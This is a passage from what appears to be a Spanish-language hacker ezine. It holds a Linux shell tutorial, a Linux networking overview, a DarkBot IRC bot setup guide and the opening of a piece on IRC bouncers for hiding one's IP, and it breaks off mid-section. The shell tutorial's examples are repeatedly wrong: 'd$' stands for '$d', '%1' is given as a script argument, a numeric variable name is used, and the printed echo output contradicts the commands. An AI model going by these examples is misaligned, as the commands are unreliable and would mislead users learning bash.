ejemplo dado. Puede ser muy util para trabajar conn grandes directorios,
[ndr113@quark ndr113]$ cp index[3-12].htm /home/www
5.0 Variables y Cadenas
5.1 Variables
[ndr113@quark ndr113]$ cp index.htm /home/www/350cc/www
[ndr113@quark ndr113]$ cp /fye4.zip /home/www/350cc/www
[ndr113@quark ndr113]$ mv /winnt.txt /home/www/350cc/www
Si estoy trabajando continuamente con cierto valor, por ejemplo una ruta
de directorio que puedo hacer para no tener que escribir una y otra ves lo
mismo? Usar variables.
Es posible definir una variable que haga referencia a cierto valor dado para
su uso posterior. El nombre de la variable no debe tener espacios, ni caracteres
de exclamacion o &, solo letras o numeros. Ejemplo:
[ndr113@quark ndr113]$ d=/home/www/350cc/www
Entonces d ser igual a la ruta /home/ww... etc, para ver el valor de esta o
cualquier variable la llamamos con echo
[ndr113@quark ndr113]$ echo $d
/home/www/350cc/www
Para que el $ ? anteponer $ hace q se evalue lo que viene a continuacion por
su contenido y no por su nombre, si no se colocara $, echo solo mostraria d .
[ndr113@quark ndr113]$ cp index.htm d$
[ndr113@quark ndr113]$ cp /fye4.zip d$
[ndr113@quark ndr113]$ mv /winnt.txt d$
[ndr113@quark ndr113]$ ls d$
index.htm cmpdicon.gif indexv.htm nixutil.gif soon
0wn3d.gif cracked info2.231 nt.JPG staff.gif
fye4.zip explora.doc irma nt_script staff.htm
Nius.htm ezbounce.tar.gz winnt.txt ownbot.tar.gz staff.html
...
Se pueden crear todas las variables que se deeseen, y verlas todas con set
[ndr113@quark ndr113]$ set
BASH=/bin/bash
BASH_ENV=/home/ndr113/.bashrc
BASH_VERSION=1.14.7(1)
COLUMNS=80
d=/home/www/350cc/www
...
Notese que se encontran un gran numero de variables del entorno o shell que
establece el sistema mismo al entrar, ademas de las que se declaren por el
usuario. Para eliminar alguna variable -en este ejemplo d- simplemente damos:
[ndr113@quark ndr113]$ unset d
5.2 Cadenas
Para que el shell tome en cuenta cadenas de caracteres que incluyan por ejemplo
otras variables o caracteres que necesitan evualarse de utilizan las cadenas.
Si queremos establer una variable de varias palabras, debemos delimitarla con
comillas o apostrofes, ejemplo
[ndr113@quark ndr113]$ m="la ezine FYE"
[ndr113@quark ndr113]$ n="es $m la primera labor de 350cc"
# simplemente declaramos cada variable, notese que en n incluimos m como
# variable a evaluar ($m), ahora veamos
[ndr113@quark ndr113]$ echo $n
es la ezine FYE la primera labor de 350cc
# ahora cambiaremos algunas cosas;
[ndr113@quark ndr113]$ m="jugar Quake 2"
[ndr113@quark ndr113]$ echo $n
es jugar Quake 2 la primera labor de FYE
Cual es la diferencia entre usar apostrofes o comillas? Los apostrofes suprimen
la evaluacion de variables, es decir se toman por su nombre y no su contenido,
ejemplo:
[ndr113@quark ndr113]$ m=estudiar
[ndr113@quark ndr113]$ n='es $m la primera labor de 350cc'
[ndr113@quark ndr113]$ echo $m
es m$ la primera labor de 350cc
Es posible tambien delimitar caracteres indivuales utiliando \ , el que
suprime la evualuacion del caracter que le sucede, ejemplo
[ndr113@quark ndr113]$ 100=NDR
[ndr113@quark ndr113]$ 200="0 gana $100 mensuales"
[ndr113@quark ndr113]$ echo 0
NDR gana 0 mensuales
#Utilizando \ evitamos que el segundo 0 fuera tomando como la variable 100.
Es posible llamar a una variable para que sea directamente ejecutada por el
shell
[ndr113@quark ndr113]$ dir=ls -Fal
[ndr113@quark ndr113]$ $dir
total 21
drwx-----x 3 ndr113 350ccgrp 1024 Jan 4 16:11 ./
drwxr-xr-x 303 root root 7168 Jan 4 11:27 ../
drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/
-rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta
-rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 15:56 lista
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3
lrwxrwxrwx 1 root root 19 Jun 9 2000 www -> /home/www/350cc/
o, tambien podemos incluir caracteres de expresiones como *, [] o variables.
[ndr113@quark ndr113]$ dir="ls li* -Fal"
[ndr113@quark ndr113]$ $dir
-rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 15:56 lista
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3
o, tambien se puede hacer que tome una variable ed la misma linea de comando
como si fuera un argumento,
[ndr113@quark ndr113]$ dir="ls %1 -Fal"
[ndr113@quark ndr113]$ $dir *.fye
-rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye
# %n , siendo un numero cualquiera, es el argumento(s) que sucede a cualquier
comando. Y se pueden utilizar tanto %n (%1, %2, %3) como argumentos hayan.
6.0 Shell Scripts
Como hicimos con las cadenas y variables, es posible tb personalizar ciertas
ordenes o comandos para que trabajen como mas nos plazca, una forma de hacerlo
mas rapidamente y eficienemtente es creando un script, algo similar a los
archivos de procesos por lotes de DOS (.bat).
-recuerden q las variables depende del entorno asi que una ves que se reinicie
la maquina el shell crea un nuevo entorno con sus respectivas variables,
haciendo que nuestro comando anterior $dir no funcione, por eso utilizaremos
scripts-
[ndr113@quark ndr113]$ echo ls %1 -Fal > ndir
[ndr113@quark ndr113]$ sh ndir *.lista[2-3]
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3
podemos tambien reeemplazar el sh (que hace llama al shell) por ./
[ndr113@quark ndr113]$ ./ ndir *.lista[2-3]
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2
-rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3
mas aun, haremos de ndir un archivo ejecutable cambiando sus permisos (con la
orden chmod )y luego lo enviaremos a /usr/bin para que sea parte de los
comandos y se pueda utilizar sin importar nuestra ubicacion actual.
[ndr113@quark ndr113]$ chmod +x ndir
[ndr113@quark ndr113]$ su
[ndr113@quark ndr113]$ cp ndir /usr/bin
en mi caso tuve que hacer su para poder tomar permisos de superuser -root-
y asi poder escribir en /usr/bin , pues la cuenta ndr113 no tenia permiso
para hacerlo
7.0 Permisos
Aprovechando que hablamos de cambio de permisos, hablemos acerca de esto y su
comando chmod . Para eso primero debemos comprender como trabaja linux en el
aspecto de la restriccion de acceso a los archivos. Existen 3 categorias en
las que se pueden agrupar a los usuarios con respecto a las restricciones:
propietario, grupo u otros. Un conjunto de usuarios pueden formar parte de un
grupo, comparitiendo las mismas restricciones con respecto a sus permisos de
grupo, asi como tambien un usuario puede establecer sus propios permisos a
aquellos archivos q le pertenezcan, o dejar los permisos necesarios al grupo
otros, compuesto simplemente por todo el mundo.
Asi es posible establecer en la combinacion que uno quiera las tres propiedades
de acceso: lectura, escritura o ejecucion, independientemente para grupos,
usuario u otros.
drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/
-rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta
La primera columna represanta los permisos. Se compone de 10 posiciones. Siendo
la primera la que define si si trata de un archivo ( - ) o un directorio ( d ).
Las siguiente 3 posiciones represtan los permisos de lectura (r), escritura (w)
y ejecucion (x) del PROPIETARIO indicado en la terca columna (ndr113). Luego
siguen los permisos del GRUPO al que pertenece el propietario (350ccgrp), y
finalmente los de OTROS, es decir aquellos fuera del grupo. Los guiones que se
presentan despues de la primera posicion representan un permiso no concedido.
drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/
Este es un directorio, cuyo propietario puede escribir, leer y ejecutar,
el resto del grupo puede leer y ejecutar al igual que otros.
-rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta
este es un archivo cuyo propietario puede leer y ejecutar, y solo puede ser
leido por los demas miembros del grupo u otros.
Para cambiar permisos utilizamos el comando chmod y los signos + y - para
aadir o eliminarlos respectivamente, antecediendo con la categoria a la que
queremos modificarle los permisos (u para propietario, g para grupo y o para
otros).
[ndr113@quark ndr113]$ chmod g+rw lista
Aadios permisos de lectura y escritura al grupo
[ndr113@quark ndr113]$ chmod o+r-wx ndir
Aadimos el permiso de lectura a Otros pero quitamos los de escritura y
ejecucion.
Existe otro metodo llamado absoluto, que utiliza patrones binarios y cifras
para cambiar todos los permisos de una sola ves, en ves de hacerlo por
separado y con letras como lo hace el metodo simbolico. Por su extension,
veremos este metodo absoluto en la siguiente entrega de esta guia.
8.0 Trabajos y Procesos
Linux es multiusuario -cosa que veremos mas adelante con la administracion
de cuentas y usuarios- y multitarea, asunto q veremos ahora.
Hasta ahora hemos controlado mayormente la entrada y salida de datos hacia los
distintos comandos y archivos. Ahora controlaremos la ejecucion misma de estas
ordenes. Podemos interrumpir, cancelar o reanudar un "trabajo", asi como
enviarlo a primer plano o segundo plano.
Se envia una tarea a segundo plano colocando despues de ella el signo &
[ndr113@quark ndr113]$ cp /mnt/* /usr/mp3 &
[1] 547
[ndr113@quark ndr113]$
Entonces, mientras hace la tarea asignada (copiar todo eso) podemos seguir
trabajando ya que nos muestra el numero de tarea que es [1] y el PID o
identificador de proceso, y finalmente se nos devuelve a la linea de comando.
Para traer la aplicacion al primer plano o foreground , la llamamos asi
[ndr113@quark ndr113]$ fg %1
cat /mnt/* /usr/mp3
Ahora, para voler a dejar en segundo plano y continuar trabajando debemos
primero interrumpir la tarea presionando CONTROL+Z . Notese que esta combinacion
de teclas solo pausa el trabajo y lo coloca en segundo plano, a diferencia de
CONTROL+C , que simplemente cancela la tarea, terminando definitivamente
su ejecucion.
[ndr113@quark ndr113]$ fg %1
cat /mnt/* /usr/mp3
^Z
[ndr113@quark ndr113]$ bg %1
Arriba pusimos la tarea 1 en primer plano, luego la enviamos interrumpida a
segundo plano y la reiniciamos en el con la orden bg (background o segundo
plano).
Podemos ver las tareas q se ejecutan y su estado con el comando jobs
[ndr113@quark ndr113]$ jobs
[1] + Running cp /mnt/* /usr/mp3
obviamente pueden ser muchas mas que una, y justamente esa es la gracia de
linux, su capacidad de atraves de la linea de comando utilizar capacidades
multitareas, sin necesitar una interfaz grafica o GUI.
Es posible ver de forma mas detallada los procesos y tareas en ejecucion
utilizando la orden ps, la que con modificador -a mostrara incluso los procesos
de sistema, demonios , etc.
Para eliminar una tarea o proceso utilizamos kill seguido de su numero de tarea
-antecedido de un % - o, kill seguido del PID.
[ndr113@quark ndr113]$ kill %1
es lo mismo que
[ndr113@quark ndr113]$ kill 547
[[ FIN ]]
He llegado al final de la segunda parte de esta pequea guia de Linux, en el
siguiente numero vendra administracion de usuarios y sistema. Por su atencion
muchas gracias.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Linux Networking >>>--------------------------------[ by To4s7 ]-----=>
Holas. Como dice el titulo, voy a dar una nocion generalizada de lo que
son las redes linux. Para poder armas una BUENA red, Linux vendria siendo la
mejor alternativa ( los admins saben porke ;) ). Ademas, quiero romper el mito
de que linux es dificil de configurar, porque realmente no lo es. Pero sin
duda la mayor caracteristica, es que este sistema es robusto y confiable,
siendo esto un gran alivio para mucho admines que deben estar todo el dia
configurando un sistema, para que luego se lo tiren o mas directamente, se
lo crackeen. Entonces, en resumen, actualmente linux soporta :
Casi todas las tarjetas Ethernet existentes ( eso refuerza la tesis de que
linus ES un SO para redes )
Protocolos de transmision via puerto SLIP ( Serial Line IP ) y PPP ( Point
to Point Protocol) [ es el con el que te conectas con tu isp ;) ]
PLIP para la coneccion de PCs via puerto paralelo.
EQL Load Balancing. Weno, esto permite el uso de mas de una coneccion simultane
con otra maquina . Esto permite aumentar el ancho de banda disponible.
NFS: Bajo este protocolo es ke los sistemas de archivos remotos son
accesibles, lo que permite por otras partes, el uso transparente de estos
NIS ( Network Information System ): protocolo creado por la empresa SUN
destinado a poner cierta info pa todas las maquinas de una red. Obviamente
esto esta hecho para facilitar el manejo de red.
ARCnet
Appletalk: ( a que les suena xD ) Esto permite compartir archivos y disposi
tivos con maquinas Macintoch
Ip firewalling: Su nombre lo dice, configurar un linux como cortafuegos de
una red
IP tunneling: Esto sirve como para "disfrasar" un protocolo dentro de otro.
Tambien se puede ocupar como tecnica de spoof.
TCP/IP
Bueno, como muchos supondran, TCP/IP ( transport control protocol/internet
protocol ) es EL protocolo por defecto ( si es que se puede decir asi ) de
Linux, el estandar de todos los *nix y obviamente, el estandar de Internet.
No es el din hablar sobre el protocolo ni mucho menos, ya que el articulo
va orientado hacia otros lados, pero obviamente hay ke hacerle una pequea
referencia. Ademas, se podira decir ke UNIX e Internet, son siameses
Capas
Todos sabemos que la transmision de datos en TCP/IP se hace a traves de paque
tes. Estos son como fragmentos de datos cubiertos por capas, las cuales a la
vez, corrsponden a un protocolo cada una.Asi podemos enviar un datagrama
( paquete de datos) desde nuestro PC a otro de la msima red a traves de una
placa Ethernet.
1 2 3 4 1)Capa Ethernet
| | | 2)Capa IP
| | | 3)Capa TCP
| | | 4)Datagrama
| | |
| | |
Como se puede ver en la obra de arte ( xD ) cada una de las "capas"corresponde
al protocolo que el datagrama debe atravesar para llegar a su destino. Prime-
ero los datos son recibidos con el header del protocolo TCP/IP, luego con
el IP y finalmente, con el de la placa de red Ethernet. Cuando este datagrama
llega a sus destinos, hay ke "desempaquetarlo" en el orden inverso al que
fue empaquetado ( ahora se entiende un poco mas lo de los nukes? =P )
Lo que sucede es lo siguiente. El protocolo Ethernet compilado en el kernel
consulta primero a la linea de transmision si esta ocupada. Si es asi, espera
un rato e intenta de nuevo el procedimiento que se llama "direccion de colision"
.Cuando la linea esta disponible, el PC de origen recubre los datos con los
headers correspondientes, o sea, con el de TCP/IP y Ethernet, y en ese orden
los manda :)
El kernel de nuestra maquina Linux que recibe el paquete le quita el primer
recubrimiento y luego procede a interpretar los datos mediante IP.
Este es un protocolo que NO garantiza la transmision de datos, porque no
existe ningun sistema de verificacion a ese nivel que asegure que han sido
recibidos
En este protocolo, no sencontramos con el numero IP o direccion IP, un
conocido sistema clasificatorio para nodos de una red, mediante la utilizacion
de 4 octetos. Los 32 bits de los cuatro octetos se pueden usar de 3 maneras
distintas. Ahora va una explicacion de los tipos de red ke hay en IP:
----------------------------------------------------------------------------
Clase | Red | Nodo | Descripcion|
----------------------------------------------------------------------------
I |8 bits | 24 bits| Un bytes para red y tres para nodo
II |16 bits| 16 bits| Dos bytes para red y don para nodo
III |24 bits| 8 bits | Tres bytes para red y uno para nodo
-----------------------------------------------------------------------------
Kernel
Para poder usar linux como sistema operativo de red, se debe prestar atencion
a la configuracion del kernel y las caracteristicas ke incluiremos en el
momento de su compilacion. Estas vendrian siendo las mas importantes
TCP/IP networking (CONFIG_NET): hay ke poner si =P para ke sea incorporado
el codigo necesario para el protocolo ( en versiones recientes de linux creo
que ya no es necesario, viene por defecto =P )
IP fowarding/gatewaying (CONFIG_IP_FOWARD): se debe habilitar esta opcion si
se va ahacer enrutado de paquetes
Ip firewalling (CONFIG_IP_FIREWALL): esto lo tienen ke activar solamente si
se kiere tener la makina como firewall
Reverse ARP (CONFIG_INET_RARP): es el soporte del protocolo rarp (Reverse
Adress Resolution Protocol ) que se utiliza para asignar una IP a
terminales sin disco.
Weno esa vendria siendo la breve explicacion a lo ke a kernel se refiere,
Ahora vamos a ver la configuracion de la red, paso importante para una
buena seguridad :)
Esta configuracion es muy facil, incluso para un usuario sin experiencia, Lo
uniko ke se nesecita es un editor de texto para editar los archivos de con-
finguracion correctamente. Estos estan de toda smaneras configurados por
defecto, y se puede encontrar gran cantidad de documentacion para interpretar
cada una de las lineas.
Los arichis de configuracion se encuentran el el directorio /etc. Veamoslos y
analicemos sus funciones
HOSTNAME: tiene una sola linea , la cual es el nombre de la makina
hosts: aqui van los nombres y los numeros IP de las maquinas de nuestra red
como minimo debe haber una linea para el loopback 127.0.0.1 localhost
hosts.conf: le dice a linux la forma a proceder cuando deba resolver nombres
de makinas de la red
resolv.conf: tiene las direcciones IP de los servidores de nombres de dominio
Tambien se puede indicar el nombre de dominio de la makina, en caso de ke tenga
inetd.conf aca tenemos la configuracion de demonio de Internet, que esta a la
espera de peticiones de conexion. En el caso de ke llegue una, dispara la
ejecucion del servicio adecuado consultando en el archivo /etc/services el
numero y protocolo a utilizar para cada servicio =P
services: igual ke en windows, el archivo services contiene el listado de
numero y resprectivo protocolo asignado a cada socket.
protocol: contiene todos los protocolos que podemos utilizar con linux, y
el numero asignado a cada uno de ellos.
Ademas, existen 2 archivos muy importantes para la inicializacion del software
implicado en la gestion de redes y en la declaracion de las variables necesa-
rias : rc.inet1 y rc.inet2
En la distribucion de Red Hat, contamos con una buena herramienta de configuracion
para redes ke se encuentra en el Control_Panel. Su uso es muy facil y obvio
y nos permite configurar la red sin ninguna complicacion.
No voy a detallar cada una de sus funciones, porke estan ala vista y cuenta
con un facil entorno grafico.
Espero ke esta introduccion a la configuracion de una red Linux les haya
servido de referencia y haya podido convencer a algun admin dudoso, de
cambiarse a linux ;)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< IRC BOTS >>>----------------------------------------[ by ThEye ]-----=>
Hola ! , con este peque~o articulo veremos como instalar un BOT en IRC
basandonos en DarkBot , un bot bastante bueno y facil de configurar.
Primero que nada debemos saber que un BOT es un programa que , como un
usuario , se conecta a un server de IRC y cumple funciones que le son
asignadas por su master o sea quien lo instala. Por ejemplo en aquellos
servidores en que no se pueden registrar canales sin que lo hagan los
ircops,el bot nos ayudaria a darle op a nuestros amigos y asi mantener el
canal "semi-registrado" ya que no desapareceria porque el bot esta
conectado todo el dia al servidor de irc.Ademas de cumplir funciones de
operador el bot puede responder a instrucciones o palabras claves enviadas
por su master o por un simple usuario.Veames un ejemplo:
?? 350cc
350cc r0x f0r3w4 !!!!
Mas claro hecharle agua.Como pueden ver el BOT responde a palabras
claves que han sido designadas por quienes lo administran.
Bueno ahora introduzcamonos en el BOT que explicaremos.DarkBOT es un
bot escrito en C por Jason Hamilton <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> .Su funcion es,
ademas de dar op o voice a sus users ,el de ser un bot de ayuda ya que
responde a palabras o frases claves designadas por el master del bot.
Lo podemos bajar de www.superchat.org/darkbot la cual es su page oficial o
bien en www.freshmeat.net en donde si haces una busqueda de bots
encontraras muchos otros (freshmeat no tiene solo bots,es una page al
estilo tucows pero solo de Linux :) .
La gracia de los bots,como ya esta dicho,es que estan todo el dia
conectados al servidor de irc.Para lograr esto los bots deben estar
cargados en un servidor ya que estas son maquinas que estan conectadas
todo el dia (se imaginan si ponemos un bot en nuestra conexion dial up y
lo dejamos ahi puesto ??? peque~a cuenta despues :P ) por lo tanto sirven
para lograr ese objetivo,asi que primero que nada debemos tener una
shell en un servidor (si es Linux mejor , pero tambien hay versiones de
BOTS para windows,DarkBOT es un ejemplo) y desde ahi lanzaremos nuestro
bot al irc,claro que cuando lo ejecutemos por primera vez es conveniente
lanzarlo desde nuestro propio pc hacia el irc para asi revisar los
posibles errores que ocurran.
Supongamos que ya tenemos shell en un servidor y tenemos el tar.gz del
bot,bueno lo subimos y compilamos arriba,en el caso de DarkBOT seria algo
asi mas o menos:
[
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
/]# tar zxvf darkbot.tar.gz
y se instalara en el directorio darkbot5f22.bf.Entramos a este directorio
y ejecutamos el script configure con la orden ./configure .
----------------------------------------------------
Welcome to Darkbot v5 configuration, ThEye.
This will lead you through the setup of your darkbot
The configuration will take a few minutes, and
will require you to answer questions... so don't
go anywhere!
----------------------------------------------------
Enter the name if the text editor you would like to use [pico]:
Aca introducimos el nombre del binario de nuestro editor de textos
favorito (en modo texto claro).Podemos usar
vim,vi,emacs,joe,pico,etc... yo personalmente uso vim pero he sabido por
ahi que a muchos les gusta el pico ... tendran sus razones digo yo.Despues
de introducir el nombre del programa veremos esto:
You will need to build the setup.ini for Darkbot...
Hit ENTER to continue.
obviamente damos enter aca :D
Enter the nickname you would like to use for your bot:
aca indicamos el nick que usara el bot,puede ser un nick registrado o no
da lo mismo,luego veremos como dar la password a nickserv...nuestro bot se
llamara MulaBOT
Enter the userid you would like to use [ThEye]:
aca nos piden que indiquemos el ident que tendra el bot (user para los mas
"avanzados" :D ,se refiere a lo que sale antes del @ cuando se le hace un
whois),el user que sale entre [] es el usuario de la cuenta shell que
estamos usando,pero podemos poner el user que queramos :D ... en nuestro
caso sera mulabot
Enter the channel MulaBOT should join:
el canal donde entraremos...para nosotros sera #350cc
Enter the realname info for MulaBOT [default]:
el realname es lo que sale despues del host en el whois,podemos poner una
frase o una palabra,da lo mismo
Enter the command character MulaBOT should respond to [!]:
No CMDCHAR specified, defaulting to !
aca debemos indicar cual sera el caracter que indicara al bot que debe
responder a un request.Si damos enter sera seleccionado el caracter que
viene por defecto ,o sea !
Enter the VHOST you want to use. If none, hit enter [0]:
None entered. Will not use VHOST.
aca indicamos el VHOST (virtual host) :P,si damos enter no usara
virtualhost.
Writing data settings to setup.ini .....
...escribiendo datos al archivo setup.ini...
Okay, now you will need to update the #define settings
in darkbot.c ... near the top are a few #defines marked
that you need to change (if needed).
Hit ENTER to continue.
aca debemos cambiar algunas opciones del codigo del bot,por ejemplo la
respuesta a los CTCP VERSION,el idioma que usara el bot,algunas respuestas
que vienen por defecto,etc.Por ejemplo,cambiemos la respuesta al CTCP
VERSION :
#define VERSION_REPLY "MulaBOT , BOT de Servicios del Grupo de Seguridad
350cc"
asi deberia verse nuestro VERSION_REPLY si queremos que nuestro bot envie
esta respuesta ante las peticiones de VERSION de cliente irc.Si queremos
cambiar el idioma que usara el bot modificamos la linea
#define LANG 1
por
#define LANG 3
el 1 corresponde al ingles y el 3 a espa~ol , el espa~ol las lleva :D .
Una vez hayamos hecho las modificaciones que queriamos al codigo
del bot,procedemos a guardar los cambios y salir del editor de texto para
continuar la instalacion.
Next you need to specify the server MulaBOT should connect to.
Enter the server your bot should connect to [irc.superchat.org]:
aca indicamos el servidor al que deseamos que el bot se conecte,pongamos
irc.terra.cl :D
Enter the port to connect to on irc.terra.cl [6667]:
y aca indicamos el puerto del servidor,en el caso de terra es el 7000 pero
si damos enter seleccionaremos el 6667 que es en donde generalmente se
encuentran los ircd.
Darkbot configuration menu -
1) Read the README files (recommended)
2) Setup the .ini files (recommended)
3) Setup your userlist (required)
4) Add another server (recommended)
5) Quit configuration (Hope you *eventually* select this ;)
Luego nos aparecera este menu en donde debemos hacer algunas
cosillas,analicemos opcion por opcion:
1) Aca vemos el archivo README que nos da una descripcion de los scripts
que vienen con el bot ,por ejemplo los que estan en directorio /dat
.Tambien veremos README.LEVELS.txt,este archivo nos indica los privilegios
de los 4 niveles de usuario de DarkBot,no explicare cada uno ya que sale
mas facil que uds mismos lo lean.Por ultimo veremos el archivo WHATSNEW en
donde nos informan de las novedades que trae la ultima version de DarkBot.
2) Aca editaremos los archivos perform.ini y deop.ini .El perform.ini
le indica al bot que es lo que debe hacer una vez conectado al servidor
IRC.Esto lo hace mediante comandos RAW.Supongamos que el nick de nuestro
bot esta registrado,entonces lo que debe ir en nuestro perform.ini es algo
similar a esto:
PRIVMSG nickserv identify
no es necesario indicarle que entre al canal que seleccionamos como por
defecto porque aunque no lo incluyamos aca lo hara.Lo que hace deop.ini
es indicar como debe reaccionar el bot cuando se le quite el op.Si el nick
del bot tiene access como op podriamos poner algo como esto:
PART #canal
JOIN #canal
3) Aca indicamos el user y host de los usuarios autentificados en el bot y
que tendran algun nivel de control.
The format of the user@host is *userid@*.host.isp, examples:
*jason@*.superlink.net <-- dyanmic ip
*
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
<-- static host
*
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.* <-- unresolved host
Enter the *user@host of the user you'd like to add:
por ejemplo,elijamos el user MONO desde cualquier ip,asi es mas comodo
pero hay que recordar de poner una password algo rebuscada para que asi no
venga cualquier persona que nos haya copiado el ident y se autentifique en
el bot como un usuario legitimo.
What level should *MONO@* be added at?
ese es el formato *user@host :D
1) Helper access. Add/delete topics.
2) Channel access, OP/DEOP's.
3) Bot master. Rehash, DIE commands.
Select a number:
elijamos el nivel 3 de administrador ;D
Adding user: *MONO@* at level 3.
You can add and delete users on-line with the
ADDUSER and DELUSER commands.
4) Con esta opcion agregamos un servidor mas al archivo /dat/servers.ini
para que asi,si no conecta con el primero,siga con los siguientes.
Darkbot has a dynamic server list, where if the bot is
killed, it'll connect to the next server in the list. You can
have as many servers in this list as you wish.
Enter a server name: irc.terra.cl
What port to connect to on irc.terra.cl? [6667] 7000
Defaulting to 7000...
irc.terra.cl:7000 has been added to dat/servers.ini
5) La opcion 5 la usamos cuando ya tenemos totalmente configurado el bot.
La primera vez que configuramos el bot,no existira el binario darkbot
asi que el script de configuracion compilara solo el codigo una vez
terminado el uso de configure,las siguientes veces no lo hara.
I did not find the darkbot binary.... running Makefile now.
gcc -DFORK -O3 darkbot.c -o darkbot;
Luego nos preguntara si deseamos darle permisos de ejecucion al
binario darkbot y si queremos ejecutarlo inmediatamente.A la primera
pregunta respondemos afirmativamente,la segunda es opcion personal.
Ahora nos nos queda mas que ejecutarlo,corramos entonces ./darkbot:
[
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
/darkbot5f22.bf]# ./darkbot
y apareceran los datos del bot y luego conectara.Al final de todo te
indicara el PID del proceso de darkbot para que lo killees si es
necesarion y no eres root en el server.
Ahora veamos algunos comandos para el DarkBoT,solo algunos de los mas
importantes:
ADDUSER : A~ade un nuevo usuario a la lista de users permitidos del bot,la
sintaxis es: !adduser *user@host #canal password nivel .Por ejemplo:
!adduser *theye@*carabineros.cl #350cc khfd"#% 3 .
luego para que el nuevo user se autentifique debe hacer lo siguiente:
/msg nickdelbot login aka_la_password
y si por alguna razon desea cambiar su password debe hacer lo siguiente:
/msg nickdelbot pass actualpass nuevapass
IMPORTANTE: si haz configurado un user en la instalacion este se a~adira a
la lista de usuarios con una password que es 0 ,para cambiarla y poner una
mejor debes hacer /msg nickdelbot pass 0 nuevapass .Asi estara mas seguro.
!VARIABLES : este comando te muestra las variables que usa el bot como por
ejemplo N~ para el nick del user que pidio la respuesta a un quote o R~
para nombrar un nick elegido en forma aleatoria.
NICKDELBOT ADD QUOTE RESPUESTA : asi sin ! , con esto le a~ades un quote
al bot,es decir una respuesta a una palabra o frase que desees.Veamos un
ejemplo:
NICKDELBOT ADD FYE N~ : FYE RLZ
fye
ThEye : FYE RLZ
si deseas incluir una frase en vez de una palabra debes sustituir los
espacios por signos + asi : hola+soy+ThEye .Para borrar un quote se pone
: NICKDELBOT DEL QUOTE , y listo.
NICKDELBOT INFO : tambien sin ! , lo que hace este comando es dar
informacion acerca del bot,la cantidad de quotes en su base de datos,el
tiempo que ha estado conectado,el numero de preguntas hechas,etc.
NICKDELBOT CALC OPERACION : calcula lo que le pides :P , + para suma , *
para multiplicacion , / para division y - para sustraccion.
MulaBOT calc 2 * 8
16.000000
Hay muchos mas comandos,pero no voy a extenderme ya que este es un
peque~o tip nada mas,si desean la lista completa de comandos de DarkBoT
visiten www.superchat.org/darkbot/darkbotdoc.html.Si alguien desea un
articulo mas extenso sobre bots que me lo indique y si no no nomas :P .
Salu2 a To2
ThEye
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Bouncers (BNC) >>>---------------------------------[ by Kasiki ]-----=>
Introduccin:
1.- Significado de un Bnc
2.- Un esquema de la coneccin
3.- Como ver si un Bnc tiene vhosts
4.- Como conectarnos a un servidor
5.- Dentro de un Bnc
6.- Breve lista de Bnc
7.- Despedida
Kiu, en este tips tratar de explicar en general sobre los bnc (muy obvio no? xDD)
Ya aqu empezamos.
1.- Bnc?
Es un Bouncer conocido comunmente por la abreviacin Bnc son ircproxys
(IRC= Internet Relay Chat Proxys= Mquina servidor que actua generalmente como
un firewall y como un wingate dando una coneccin al resto de la red) osea que
en conclusin stos sirven para ocultar la IP real, son muy parecidos a los Wgate
(Wingates) pero los Bnc son menos complicados de utilizar que los wingates,
algunos pueden poseer vhosts(virtual hosts) o vip que viene siendo lo mismo segn
en la version y tipo de bnc que nos encontremos, sto nos permite tener hartos
dns en un slo bnc utilizando cualquiera de sus diferentes vhosts (si es que los
tiene). Hay Bnc para Wind0ws y para Linux...
2.- Aqu expongo un Esquema explicando como mas o menos es la idea, el esquema
se compone de la siguiente manera:
______ _____ ______
| | / \ | |
|Host A|<--=|Bouncer|=-->|Host B|
|______| \_____/ |______|
Aqu el Host A corresponde al cliente y el Host B al servidor de IRC. Toda la
informacin que el Host A le manda al Host B es recibida por el Bnc. Este se
encarga de reenviarlos a su destino B (de igual forma ocurre en el otro sentido)
